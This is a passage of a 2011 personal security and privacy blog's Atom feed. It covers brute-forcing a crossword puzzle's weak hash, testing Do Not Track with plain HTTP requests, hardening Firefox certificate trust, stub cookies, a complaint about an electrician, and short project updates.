<p>A quick look at the hashing algorithm shows that it probably isn't reversible (or at least not trivially), primarily due to the modulus operators which aren't reversible. However, all is not lost, the algorithm is very simple, which means two things. The first is that it will have a ton of collisions (i.e. many words will result in the same hash) and the second is that your processor won't do much work in running it. Thus, I figured it may be fun to run it across a dictionary and see what collisions pop-up.</p> 
<p>Since I was playing, I decided to check out whether there were any CLI JavaScript shells that I could use, and the speed at which they run. <a href="http://stackoverflow.com/questions/1802478/running-v8-javascript-engine-standalone">A quick google showed me</a> that <a href="http://code.google.com/apis/v8/build.html">Chrome's V8 JavaScript engine</a> has a &quot;toy&quot; shell that could be used. I pulled down the trunk, and with the <font face="courier new,courier,monospace">sample=shell</font> option passed to <font face="courier new,courier,monospace">scons</font> had the <font face="courier new,courier,monospace">shell</font> binary built.</p> 
<p>The V8 shell is pretty cool, and can either be run interactively, used to evaluate JS passed as an argument with the -e switch, or run multiple files. However, input via CLI can't be passed as an ARGV, and either needs to be in one of the files, or in a -e statement. So I created three files:</p> 
<ul> 
<li>hash.js - Which contained the HashWord function above verbatim, but with a toUpperCase() added to the word passed<br /></li> 
<li>dict.js - Which contained /usr/share/dict converted into a JS Array object</li> 
<li>loop.js - Which contained the answer hashes array, and looped through the dict comparing resulting hashes to the answers</li> 
</ul> 
<p>If you're interested, the three files can be downloaded from <a href="/utils/itweb-crossword-brute.zip">here</a>. They can be run by passing all three as arguments to shell e.g. ./shell dict.js shell.js loop.js</p> 
<p>The results were as follows:</p> 
<p><font face="courier new,courier,monospace">Found! Word: anonymous&#160; Hash: 27958<br />Found! Word: coseismic&#160; Hash: 10664<br />Found! Word: cryptanalysis&#160; Hash: 31280<br />Found! Word: Cupressaceae&#160; Hash: 27548<br />Found! Word: cystolithic&#160; Hash: 31280<br />Found! Word: honeypot&#160; Hash: 37493<br />Found! Word: irrationability&#160; Hash: 10664<br />Found! Word: miscommit&#160; Hash: 37493<br />Found! Word: phloroglucic&#160; Hash: 10664<br />Found! Word: pneumotoxin&#160; Hash: 67695<br />Found! Word: psychics&#160; Hash: 10664<br />Found! Word: reeky&#160; Hash: 67695<br />Found! Word: rhamphoid&#160; Hash: 37493<br />Found! Word: shuckpen&#160; Hash: 81424<br />Found! Word: stowbordman&#160; Hash: 81424<br />Found! Word: unthoughtedly&#160; Hash: 27958</font></p> 
<p>Out of interest the result of time() were: <font face="courier new,courier,monospace">0.39s user 0.06s system 97% cpu 0.460 total</font></p> 
<p>If you've checked the crossword, you'll see some of the answers are listed, you'll also see that there are several collisions, for example 'cryptanalysis' and 'cystolithic' both result in 31280, the hash of the final 'secret' word. It was fairly obvious that 'cryptanalysis' was the final word (apart from being the right length, it's the only security related term) however, I then tried to see if one of the 'incorrect' collisions would work. Unfortunately, there is a length check and so a straight substitution doesn't work, but 'coseismic' in the place of 'conficker' is accepted by the crossword as this image shows:</p>
<p><!-- s9ymdb:121 --><img width="607" height="256" src="http://www.singe.za.net/blog/uploads/Screenshot2011-04-08at5.55.44PM.png" class="serendipity_image_center" alt=""  /> </p>
<p>&#160;However, when you try and complete the crossword with the incorrect word, the 's' in 'coseismic' conflicts with the 'c' in 'cryptanalysis' and so you can't complete the crossword with this combination of words. However, if you don't limit yourself to english, and rather use random characters, you could eventually find gobbldegook that would complete the crossword. A challenge for someone else perhaps?</p>
<p>So that's my hackers attempt at 'cracking the code'. Hope to see you at the summit.<br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1027-Do-Not-Track-AP-News-Registry.html" rel="alternate" title="Do Not Track &amp; AP News Registry" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-04-05T22:11:27Z</published>
        <updated>2011-04-05T22:53:32Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1027</wfw:comment>
    
        <slash:comments>4</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1027</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1027-guid.html</id>
        <title type="html">Do Not Track &amp; AP News Registry</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Firefox 4 implemented the <a href="http://donottrack.us/">Do Not Track header</a>. This is an option, sent via an HTTP header, to specify to a webserver that the user would like to opt-out of advertising/behavioural tracking. The news came in soon after that the <a href="https://blog.mozilla.com/blog/2011/03/30/advertisers-and-publishers-adopt-and-implement-do-not-track/">AP News Registry service had implemented support for DNT</a>. So I decided to have a quick look at what this meant. It ended up highlighting why I think DNT will never be a solution by itself, and why it's intended use may even be tenuous.<br /> <p>First off, I needed to know what domain and from what sites the AP cookies are set. It turns out that the service relies on the hNews microformat, and a quick google brought me to <a href="http://www.aspentimes.com/">The Aspen Times</a>. If you have a look at the source for Aspen News, you'll see some content loaded from analytics.apnewsregistry.com and apnewsregistry.com. Since &quot;analytics&quot; seemed to be the most likely tracking source, I made two simple HTTP requests to the URL referenced in a news story, one with the DNT header, and one without.</p> 
<p><font face="courier new,courier,monospace">$ nc analytics.apnewsregistry.com 80<br />GET http://analytics.apnewsregistry.com/[snip] HTTP/1.1<br />Host: analytics.apnewsregistry.com<br /><br />HTTP/1.0 303 See Other<br /><strong>Set-Cookie: ASP.NET_SessionId=lwymgdbt4u5go3e55al1uxwc; path=/; HttpOnly</strong><br />[snip]</font></p> 
<p>With DNT:<br /></p> 
<p><font face="courier new,courier,monospace">$ nc analytics.apnewsregistry.com 80<br />GET http://analytics.apnewsregistry.com/[snip] HTTP/1.1<br />Host: analytics.apnewsregistry.com<br /><strong>DNT: 1</strong><br /><br />HTTP/1.0 303 See Other<br /><strong>Set-Cookie: ASP.NET_SessionId=vy1r33ambeja03fev4e1ognw; path=/; HttpOnly</strong><br />[snip]</font></p><font face="courier new,courier,monospace"> </font> 
<p>In both cases, you can see a unique session cookie is being set. That didn't seem right. So I set up a brand new Firefox 4 profile, hit aspen news, then checked the cookies. Without DNT I saw the following cookies related to apnewsregistry:</p> 
<p><!-- s9ymdb:119 --><a class="serendipity_image_link" href="http://www.singe.za.net/blog/uploads/Screenshot2011-04-06at12.00.37AM.png"><!-- s9ymdb:119 --><img width="110" height="94" class="serendipity_image_center" src="http://www.singe.za.net/blog/uploads/Screenshot2011-04-06at12.00.37AM.serendipityThumb.png" alt=""  /></a><br /></p> 
<p>I then set the DNT option under Preferences -&gt; Advanced -&gt; General -&gt; &quot;Tell websites I do not want to be tracked&quot;, and saw the following cookies get set:</p> 
<p><!-- s9ymdb:120 --><a class="serendipity_image_link" href="http://www.singe.za.net/blog/uploads/Screenshot2011-04-06at12.02.29AM.png"><!-- s9ymdb:120 --><img width="110" height="94" class="serendipity_image_center" src="http://www.singe.za.net/blog/uploads/Screenshot2011-04-06at12.02.29AM.serendipityThumb.png" alt=""  /></a><br /></p> 
<p>This tells me that it's not the analytics site, but the other which is affected by the DNT header. <br /></p> 
<p> Does this mean the AP News Registry conforms to the intention of Do Not Track? The answer is that we have no idea. They're still dropping a unique identifier, even with DNT set. Even if they weren't dropping any, the combination of <a href="http://panopticlick.eff.org/">other browser attributes could prove unique enough</a>. In the end, someone would need to perform a code review of their server-side code to make sure the unique identifiers aren't being used for tracking.<br /></p> 
<p>This is important, because that's the primary intention of DNT. To quote <a href="http://www.freedom-to-tinker.com/blog/harlanyu/some-technical-clarifications-about-do-not-track#comment-111131">Harlan Yu when asked about this issue</a>:</p> 
<blockquote> 
<p>Of course, Do Not Track needs a regulatory framework with effective 
enforcement mechanisms. This is the ongoing policy debate in Washington,
 whether Congress should give the FTC authority to define and enforce 
DNT regulations and what these regulation look like.</p> 
</blockquote> 
<p>But enforcement is going to be very hard if situations like the above are allowed to persist.<strong> Do Not Track needs to result in no cookies or other unique identifiers being set on the client side and an independent audit of the tracker's server side code for it to be a meaningful label that can be meaningfully &quot;breached&quot;</strong>.</p> 
<p>In short, I'm not saying DNT is useless, just that implemented as AP News has done it, is equivalent to an unverifiable promise. In the end, it is my belief that we need to rely on technical means *first* for provable privacy, and let ideas like DNT provide a *secondary* legislative mechanism.</p>
<p>In the meantime, DomCorp will be offering free &quot;DNT audits&quot;, just send me all your codez and passwords :)<br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1026-Improving-Certificate-Security-in-Firefox4.html" rel="alternate" title="Improving Certificate Security in Firefox4" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-03-26T16:04:54Z</published>
        <updated>2011-03-28T20:17:44Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1026</wfw:comment>
    
        <slash:comments>9</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1026</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1026-guid.html</id>
        <title type="html">Improving Certificate Security in Firefox4</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>After <a href="https://blog.torproject.org/blog/detecting-certificate-authority-compromises-and-web-browser-collusion">Jacob outed the compromise at one of Comodo's resellers</a>, I decided to see how I could best secure my browser when it comes to TLS. This is important given how fundamental TLS is to our daily online activities. The advice I currently recommend and have implemented myself in Firefox 4 consists of:</p> 
<ul> 
<li>Install HTTPS-Everywhere</li> 
<li>Reducing the number of trusted root CA certificates to the most frequently used</li> 
<li>Forcing OCSP revocation checks</li> 
<li>Monitoring for certificate changes</li> 
</ul>This is a brief how-to enable the same in your browser. <br /> <h2>Install HTTPS Everywhere</h2> 
<p> You need a reason to engage in all this hard work. Install the EFF's<a href="https://www.eff.org/https-everywhere"> HTTPS-Everywhere</a> add-on which will automatically redirect you to encrypted version of many popular websites. Blanket rules for doing this tend to break things, and the EFF has put some good work into making this usable. Everyone should have it installed.<br /></p> 
<h2>Reducing the Trusted Roots</h2> 
<p><a title="Qualys SSL Labs" href="https://www.ssllabs.com/">Qualys SSL labs</a>, and the <a title="EFF SSL Observatory" href="https://www.eff.org/observatory">EFF SSL Observatory</a> both have data sets which identify the top root certificates in use across the internet. The interesting finding their research highlights is that the top 10 root certificates (note, some CAs have multiple root certificates) account for over 90% of the Internet. This means we can safely cut his number down from the nearly 200 currently in Firefox to 24. I'll be publishing a more detailed analysis on <a title="SensePost Information Security" href="https://www.sensepost.com/blog/">SensePost's blog</a>, but in the meantime, the 24 most commonly used I went for (which accounts for approximately 98% of all certificates is use) are:</p> 
<ul> 
<li>AddTrust External CA Root</li> 
<li>COMODO Certificate Authority<br /></li> 
<li>AAA Certifice Services<br /></li> 
<li>DigiCert High Assurance EV Root CA</li> 
<li>Entrust.net Secure Server Certification Authority</li> 
<li>Entrust.net Certification Authority (2048)</li> 
<li>Equifax Secure CA</li> 
<li>Equifax Secure Global eBusiness CA-1</li> 
<li>GeoTrust Global CA</li> 
<li>GlobalSign Root CA</li> 
<li>GTE CyberTrust Global Root</li> 
<li>Network Solutions Certificate Authority</li> 
<li>SecureTrust CA</li> 
<li>StarField Class 2 CA</li> 
<li>StartCom Certification Authority</li> 
<li>Thawte Server CA</li> 
<li>Thawte Premium Server CA</li> 
<li>thawte Primary Root CA</li> 
<li>Go Daddy Class 2 CA</li> 
<li>UTN-UserFirst-Hardware</li> 
<li>http://www.valicert.com/ (Class 2 Policy Validation)</li> 
<li>Verisign Class 3 Public Primary Certification Authority - G5</li> 
<li>Verisign Class 3 Public Primary Certification Authority</li> 
<li>Verisign Class 3 Public Primary Certification Authority - G2<br /></li> 
</ul> 
<p>Note that these are specific certs, not CAs. You can manually configure these in Firefox by going to Preferences-&gt;Advanced-&gt;Encryption-&gt;View Certificates and manually editing the trust for every certificate. This is a pretty tedious process, and so you can rather <a href="/utils/cert8.db" title="Reduced Root CAs for Firefox 4">download the preconfigured certificate database from me here</a> <font size="1"><em>(SHA 512: e184e5750ccab4b9ea6ef4d67e813fcdbe8515ac9aafc9ded1fa27eb59c8bfe111cba5d424d33721f830b2d2b5ff3a388a4885502a93f6d805041ecbcaf31c05)</em></font>. This will overwrite any existing certificates you may have trusted or imported, so I'd recommend you do it on a new clean profile. Just copy it into your Firefox profile directory. A profile directory is usually several random alphanumeric characters followed by the profile name e.g. xxxxxxxx.default. On different operating systems the file should be placed in:<br /></p> 
<ul> 
<li>OSX ~/Library/Application Support/Firefox/Profiles/xxxxxxxx.default/cert8.db</li> 
<li>Windows  <span class="filepath">%APPDATA%\Mozilla\Firefox\Profiles\</span>xxxxxxxx.default<span class="filepath">\cert8.db</span></li> 
<li>Linux ~/.mozilla/firefox/xxxxxxxx.default/cert8.db</li> 
</ul>I've been surfing with this configuration for a day or two now with no problems. Your browser will validate the entire chain, so if a certificate is signed by an intermediary you don't trust, but which is eventually signed by a root you do trust, then your browser won't give you a certificate error. This means the impact of this change is limited and basically prevents some of the stranger CAs like Booz Allen Hamilton or The Chinese Gov from issuing certs you will trust, but wouldn't prevent a compromised intermediary (as in Comodogate) attack. If you've decided not to trust Comodo post Comodogate, you can untrust the Comodo and AAA certificates, although will receive many untrusted cert errors.<br /> 
<h2><strong>Forcing OCSP verification Checks</strong></h2> 
<p>There are two ways for your browser to check whether a certificate, validly signed by a certificate authority, has been revoked. The first is to check the CRLs embedded in a certificate, and the second is to do a dynamic lookup over the Online Certificate Status Check Protocol (OCSP) (one can also subscribe to CRL lists, but this is currently an onerous and complete process). By default this is not forced each time, and must be enabled <del>by manually toggling the option in about:config</del> through a config option. The trade off is that the OCSP provider can see what sites you are visiting. If you're being surveilled you may not want to do this, but for your average user it may be worth it given the current compromises.<br /></p> 
<p>To do this:</p> 
<ol> 
<li><del>Type &quot;about:config&quot; in your URL bar</del></li> 
<li><del>Click &quot;I'll be careful I promise&quot; when you see the warning</del></li> 
<li><del>Add a new Boolean key named <em><strong>security.OCSP.require</strong></em></del></li> 
<li><del>Ensure the value is set to &quot;<em><strong>true</strong></em>&quot;</del></li> 
</ol> 
<ol> 
<li>Navigate to Preferences-&gt;Advanced-&gt;Encryption-&gt;Validation</li> 
<li>Select both checkboxes referring to using an OCSP server, and marking failed validations as invalid</li> 
<li>Choose the first radio button about using OCSP if a cert specifies it (hopefully a trusted entity will run a decent OCSP server we can validate all certs against soon)<br /></li> 
</ol> 
<ol> </ol> 
<h2>Monitoring for Certificate Changes</h2> 
<p>Your browser now provides a little more certainty that you can trust the random certificate it has been presented, however, it is still useful to know when a certificate has changed. This will give an indication that either a validly signed certificate is being used in a man in the middle attack, as is the case with some lawful intercept products, or as in the case of Comodogate. For example, <a title="HTTPS, SSL, TLS etc. on singe.za.net" href="http://www.singe.za.net/blog/archives/932-HTTPS,-SSL,-TLS-etc.-on-singe.za.net.html">my use of certificates on this website</a> has nothing to do with valid signatures and relies on the fact that the exact same certificate that I trust is in use. For this monitoring I used to use <a href="https://addons.mozilla.org/en-us/firefox/addon/petname-tool/">Petnames</a>, however, this has not been updated for Firefox 4, and so I found <a href="https://addons.mozilla.org/en-us/firefox/addon/certificate-patrol/?src=collection&amp;collection_id=26aa4d81-029d-8a7f-56d9-8b85087d4e18">Certificate Patrol</a> (thanks Ivan). This too is not compatible with the final release of Firefox 4, however, it is with a beta, and so <del>disabling Firefox add-on compatibility checking</del> using the <a href="https://addons.mozilla.org/en-US/firefox/addon/add-on-compatibility-reporter/">add-on compatibility reporter</a> will allow it to be installed.</p> 
<p>What Certificate Patrol does when you first visit a site and are presented with a certificate, is to display a pop-up showing the certificates details. This forces you to actually evaluate the certificate for common-sense indicators e.g. is it assigned to the company it should be or &quot;Iranian Secret Police&quot;. The really useful feature however, is when you next visit the site, it will check that the certificate is the same as seen before, and if there is a mismatch (i.e. the certificate has changed) it will warn you. Thus, for example, if you are in a wireless hot-spot and find you get a &quot;certificate changed&quot; warning on every SSL site you visit, that's a clear indication that someone is intercepting your traffic. If you get it on your banking website with no warning, it should make you look for an announcement from the bank about it, and if not, ask them for one.</p> 
<p>To disable add-on compatibility checking and install Certificate Patrol, do the following:</p> 
<ol> 
<li><del>Got to about:config as described in the previous section</del></li> 
<li><del>Find the key named <em><strong>extensions.checkCompatibility.4.0</strong></em></del></li> 
<li><del>Toggle the value to <em><strong>false</strong></em></del></li> 
</ol> 
<ol> 
<li>Install the &quot;<a href="https://addons.mozilla.org/en-US/firefox/addon/add-on-compatibility-reporter/">Add-on compatibility reporter</a>&quot; to allow you to install &amp; report on plugins not yet marked as compatible with FF4<br /></li> 
<li>Navigate to the <a href="https://addons.mozilla.org/en-us/firefox/addon/certificate-patrol/?src=collection&amp;collection_id=26aa4d81-029d-8a7f-56d9-8b85087d4e18" title="Certificate Patrol at Addons.Mozilla">Certificate Patrol page</a>, and click &quot;Download Now&quot;</li> 
<li>Restart Firefox when prompted</li> 
</ol>If you want to take it a step further, there is the <a href="https://addons.mozilla.org/en-us/firefox/addon/perspectives/">Perspectives</a> add-on. What this does is contact a specialised notary that comments on how long the certificate presented by the site has been &quot;seen&quot;. The add-on will them assign a &quot;trustworthyness&quot; based on how consistent the answers between notaries are, and how long the certificate has remained the same. Thus, if you are being man-in-the-middle'd the certificate presented would be different from any the notaries had seen and a failure would be issued.<br /> 
<p><em>Update: Updated to avoid about:config changes.</em><br /> <em>Update II: Added SHA sum of cert trust DB and fixed some spelling.<br />Update III: Referenced perspectives</em><br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1025-Stub-Cookies.html" rel="alternate" title="Stub Cookies" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-03-03T20:40:31Z</published>
        <updated>2011-03-03T22:02:23Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1025</wfw:comment>
    
        <slash:comments>1</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1025</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1025-guid.html</id>
        <title type="html">Stub Cookies</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>
This is a quick note, partially for my own purposes of memory, of an idea. I tried to hit a GoToMeeting page earlier today. I didn't need to log on, just needed some basic information. The problem was it has one of those irritating <a href="https://www3.gotomeeting.com/cookies/cookieDetector">cookie detector pages</a>. Essentially, even though it doesn't need to set a cookie, it tries to, and if it can't, redirects you to &quot;Sorry, you don't have cookies enabled.&quot;</p>
<p>In those situations, you need to allow the site to set a cookie, and then remove the cookie afterwards. Add-ons like CookieSafe let you use &quot;Temporary Permissions&quot; but those are set for much longer than a single page request. So you end up with an unnecessary cookie, potentially used for tracking that you don't need.</p>
<p>The cookies it sets are:</p>
<p><font face="courier new,courier,monospace">Set-Cookie: g2mVisitor=FirstVisit%3D1299181701998%26LastVisit%3D1299185151317%26RSN%3DDEFAULT; g2mSession=SessionInfo%3D200000000028062301%253A41EA01704E81824; JSESSIONID=abcldXoZn-6ZjaEQ4q95s<br /></font></p>
<p>What I tried, was to send a fake Cookie: header, with all three of the cookie names it was looking for, but with blank values for each. It worked perfectly. They looked like:</p>
<p><font face="courier new,courier,monospace">Cookie: g2mVisitor=; g2mSession=; JSESSIONID=</font><br /></p>
<p>My suggestion then is that CookieManagers provide a &quot;Stub Cookie&quot; option, where a site that wants cookies, but doesn't need them, can think it has set the cookies, but in truth just be getting blank values. It's a quick change that should have minimal impact. I had a quick look at CookieSafe's code (I can't seem to find any contact details for the author), and I'm hoping it's as easy to implement as it looks.</p>
<p>Time, time, time...<br /></p>  
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1022-Fraudsters-AAA-Plumbing-Electrical.html" rel="alternate" title="Fraudsters: AAA Plumbing &amp; Electrical" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-01-24T08:05:10Z</published>
        <updated>2011-03-01T13:32:17Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1022</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1022</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/3-Play" label="Play" term="Play" />
    
        <id>http://www.singe.za.net/blog/archives/1022-guid.html</id>
        <title type="html">Fraudsters: AAA Plumbing &amp; Electrical</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>Last night we lost power to all electrical outlets in our house. On checking the board, I saw that it was the earth leakage, which I was unable to turn back on. This is a story about AAA Electrical (also know as AAA Plumbing, or AAA Electrical or AAA Plumbing &amp; Electrical), and how they tried to defraud me, and appeared to have done it to many others. Don't use them. If you need a reliable &amp; honest electrician use:</p> 
<p align="center">Andrew: +27 82 443 7762 <br /></p> <p>It was a Sunday night, the fridge was off, and the prospect of no espresso in the morning was galling. I phoned the first full page ad in the yellow pages mentioning my area and &quot;no callout fees, free quotes&quot;, <a href="http://www.yellowpages.co.za/search.jsp?query=aaa+electrical&amp;location=" title="Yellow Pages Listing">AAA Electrical</a>. The lady who answered, Cynthia, was polite and efficient. However, neither her, not the two other electricians I phones were able to give me even a ballpark figure. 20 years in the business it said, evidently earth leakages are still too tricksy to hypothetical quote on.</p> 
<p>An hour later, Kenny and his partner Eziechiele arrived in an Isuzu bakkie (GP plates, started with an S). He unscrewed a bunch of wires in my board, set his ammeter to them, and proclaimed he had found the short; &quot;It was a surge from the grid&quot; he said. That's strange, nothing blew, none of the flats around me were affected. I didn't believe him. He then phoned Cynthia at the &quot;head office&quot; and returned with a quote of just less than R5k! I asked how much it would be to just replace the earth leakage switch, and not &quot;clear the short&quot;, just less that R2k! This was clearly outrageous, so I sent him packing, but not after paying their R395 &quot;call out fee&quot;, oops, they mean &quot;quotation fee&quot;, no wait the ad said they didn't charge that either, ok, it's an &quot;analysis fee&quot;. I also asked that he put everything back the way it was...<br /></p> 
<p>I then phoned the next electrician, Willem, who balked as I did at the outrageous quote, and said he could do it for half i.e. R2.5k. Wow.</p> 
<p>Finally, I remembered that a good friend used to manage several electrical contractors and I phoned him for advice. He gave me the number of Andrew, listed above, and said he'd trust him with his kids. Much better. I phoned Andrew at 8am the next day, and by 9:30 he'd been round, performed the trivial task of resetting the earth leakage (you have to push it down hard, my bad) and agreed to charge me nothing more than his basic call out fee. What he did point out, is that Kenny had left several wires improperly screwed, and the neutral wires completely unscrewed. The only thing he attempted to screw right, was me.</p> 
<p>It's sad that these guys can't operate an honest business, and feel they need to make their money through quoting for radically unnecessary work and attempting to damage your electrics further. This is the definition of fraud I am using. It appears I'm not the only one who's had a run in with them, <a title="AAA Plumbing &amp; Electrical" href="http://www.hellopeter.com/search_results.php?search=AAA+Plumbing+%26+Electrical">several</a>, <a href="http://pel42.blat.co.za/2009/02/02/aaa-electrical/">others</a> got <a href="http://www.hellopeter.com/aaa-electrical-complaint-%5B508989%5D" title="AAA Electrical">screwed much worse</a>.<br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1011-Upcoming-Talks,-Workshops-Training-ZA-US-Emirates.html" rel="alternate" title="Upcoming Talks, Workshops &amp; Training - ZA / US / Emirates" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2010-09-22T08:00:58Z</published>
        <updated>2011-03-01T13:31:19Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1011</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1011</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/3-Play" label="Play" term="Play" />
    
        <id>http://www.singe.za.net/blog/archives/1011-guid.html</id>
        <title type="html">Upcoming Talks, Workshops &amp; Training - ZA / US / Emirates</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>It seems my work on privacy has garnered some attention of late. Whether earned or not, I will be presenting at the <a title="CSI VX" href="http://www.csivx.com/content.htm">Computer Security Institute's Virtual Conference CSIVX</a> on the 28th of September. I will be on hand to answer questions, even though it will be some silly hour ZA time. This is technically the first &quot;international&quot; event I've ever &quot;presented (see pre-recorded video for)&quot; at, and it includes the likes of Ira Winkler, Amit Klein and Jeff Williams.</p> 
<p>I'll also be presenting on privacy at IS' <a href="http://www.internetix2010.co.za/blog/">Internetix2010</a> conference in both Jozi &amp; Cape Town. Internetix is a rocking conference organised by IS, and I'm chuffed to have been invited. It will be a nice chance to test the privacy stuff with a large non-sec crowd.</p> 
<p>Next up, I'll also be presenting a workshop on Threat Modelling off the back of quite a lot of work we (my employer SensePost, and I) have done on it recently. If you want to get an idea of the content, have a look at the <a href="http://www.sensepost.com/cms/resources/labs/tools/management/ctm/ThreatModelingWorkshop-ITWebSummit2010.zip">last set of slides</a>. It's hosted by the ISF and will be held in Jozi on the 28th.</p> 
<p>Finally, I'll most likely be giving the SensePost training at <a href="http://www.blackhat.com/html/bh-ad-10/bh-ad-10-home.html">BlackHat Abu Dhabi</a> in Nov. If we get over around 15 people I can justify someone smarter than me from SensePost joining us, so if you're keen for some training, please sign-up :)<br /> </p>  
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1023-SuperGenPass-Update.html" rel="alternate" title="SuperGenPass Update" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-03-01T12:46:43Z</published>
        <updated>2011-03-01T13:09:56Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1023</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1023</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1023-guid.html</id>
        <title type="html">SuperGenPass Update</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I made a small update to <a title="SuperGenPass-singe" href="http://singe.za.net/sgp/">SuperGenPass</a> (<a href="http://singe.za.net/blog/archives/987-SuperGenPass.html">full write up</a>) to randomise several of the variable names. This will prevent <a title="Example SGP exploit" href="http://singe.za.net/exploit/sgp.html">this exploit</a> from working. It is by no means fool proof, and I'd still recommend using the Data URI or other out of band version for full assurance. I've been using it for a few weeks now with no incident. Additionally, as the randomisation is done per user, and up-front, I'd recommend <a title="TLS SuperGenPass" href="/sgp/">hitting the page</a> via TLS. I use a self-signed cert, the fingerprints are on the right of my blog.  
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1024-VodaSMS-Update.html" rel="alternate" title="VodaSMS Update" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-03-01T13:04:54Z</published>
        <updated>2011-03-01T13:04:54Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1024</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1024</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/5-Geek" label="Geek" term="Geek" />
    
        <id>http://www.singe.za.net/blog/archives/1024-guid.html</id>
        <title type="html">VodaSMS Update</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Vodacom switched from the Vodacom4Me portal to a new Vodacom portal. I've updated <a href="http://singe.za.net/blog/archives/508-Commandline-SMS-v2.html" title="Commandline SMS">VodaSMS</a> to deal with that. You can get it in the <a href="/utils/vodasms.tar.gz">usual place</a>. The only caveat is that there's a strange MD5 value included in the SMS POST. It is currently consistent across logins, times and users. It may change per day, in which case this will stop working tomorrow. But I'll keep an eye on it and update accordingly.  
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/987-SuperGenPass.html" rel="alternate" title="SuperGenPass" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2009-11-17T18:20:33Z</published>
        <updated>2011-01-19T11:32:32Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=987</wfw:comment>
    
        <slash:comments>2</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=987</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/987-guid.html</id>
        <title type="html">SuperGenPass</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
